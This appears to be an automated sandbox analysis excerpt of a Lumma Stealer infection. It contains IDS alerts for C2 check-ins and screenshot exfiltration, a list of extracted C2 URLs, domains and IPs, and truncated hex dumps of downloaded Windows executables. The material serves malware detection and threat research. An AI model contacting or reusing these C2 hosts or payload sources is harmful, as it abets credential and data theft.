Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50044 -> 104.21.53.8:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50002 -> 104.21.53.8:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50002 -> 104.21.53.8:443
Source: Network traffic Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:59438 -> 104.21.53.8:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:59427 -> 104.21.53.8:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:59427 -> 104.21.53.8:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50011 -> 104.21.53.8:443
Source: Network traffic Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:50042 -> 104.21.53.8:443
Source: Network traffic Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:50010 -> 104.21.53.8:443
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor URLs: mobbipenju.store
Source: Malware configuration extractor URLs: clearancek.site
Source: Malware configuration extractor URLs: spirittunek.store
Source: Malware configuration extractor URLs: bathdoomgaz.store
Source: Malware configuration extractor URLs: dissapoiznw.store
Source: Malware configuration extractor URLs: eaglepawnoy.store
Source: Malware configuration extractor URLs: licendfilteo.site
Source: Malware configuration extractor URLs: studennotediw.store
Source: Malware configuration extractor IPs: 185.215.113.43
Connects to many different domains
Source: unknown Network traffic detected: DNS query count 38
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:57:22 GMTContent-Type: application/octet-streamContent-Length: 1931264Last-Modified: Thu, 24 Oct 2024 02:50:35 GMTConnection: keep-aliveETag: "6719b5fb-1d7800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 a0 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 4c 00 00 04 00 00 bd e9 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 8d 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 8c 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 77 6d 64 71 6a 78 6f 00 60 1a 00 00 30 32 00 00 5e 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 76 61 66 64 6a 71 78 00 10 00 00 00 90 4c 00 00 04 00 00 00 52 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 4c 00 00 22 00 00 00 56 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:57:45 GMTContent-Type: application/octet-streamContent-Length: 1877504Last-Modified: Thu, 24 Oct 2024 02:50:28 GMTConnection: keep-aliveETag: "6719b5f4-1ca600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 c0 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 6a 00 00 04 00 00 67 47 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 6f 6c 72 78 6d 61 72 00 50 1a 00 00 60 50 00 00 44 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 68 77 64 7a 74 76 6e 00 10 00 00 00 b0 6a 00 00 04 00 00 00 80 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 6a 00 00 22 00 00 00 84 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:58:05 GMTContent-Type: application/octet-streamContent-Length: 2742272Last-Modified: Thu, 24 Oct 2024 01:44:44 GMTConnection: keep-aliveETag: "6719a68c-29d800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2a 00 00 04 00 00 25 5a 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 76 78 69 6a 65 73 76 6f 00 80 29 00 00 a0 00 00 00 78 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 6f 61 6d 79 79 68 71 00 20 00 00 00 20 2a 00 00 04 00 00 00 b2 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2a 00 00 22 00 00 00 b6 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:58:09 GMTContent-Type: application/octet-streamContent-Length: 2930688Last-Modified: Thu, 24 Oct 2024 02:50:21 GMTConnection: keep-aliveETag: "6719b5ed-2cb800"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 40 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 30 00 00 04 00 00 75 d9 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 e0 05 00 00 00 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 74 63 64 75 77 6e 76 79 00 30 2a 00 00 00 06 00 00 22 2a 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 6a 72 6c 6e 67 77 7a 00 10 00 00 00 30 30 00 00 04 00 00 00 92 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 30 00 00 22 00 00 00 96 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:58:19 GMTContent-Type: application/octet-streamContent-Length: 1877504Last-Modified: Thu, 24 Oct 2024 02:50:28 GMTConnection: keep-aliveETag: "6719b5f4-1ca600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 c0 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 6a 00 00 04 00 00 67 47 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 6f 6c 72 78 6d 61 72 00 50 1a 00 00 60 50 00 00 44 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 68 77 64 7a 74 76 6e 00 10 00 00 00 b0 6a 00 00 04 00 00 00 80 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 6a 00 00 22 00 00 00 84 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:58:28 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Thu, 24 Oct 2024 01:44:18 GMTConnection: keep-aliveETag: "6719a672-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 6a a6 19 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 88 3d 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:58:33 GMTContent-Type: application/octet-streamContent-Length: 1931264Last-Modified: Thu, 24 Oct 2024 02:50:35 GMTConnection: keep-aliveETag: "6719b5fb-1d7800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 a0 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 4c 00 00 04 00 00 bd e9 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 8d 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 8c 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 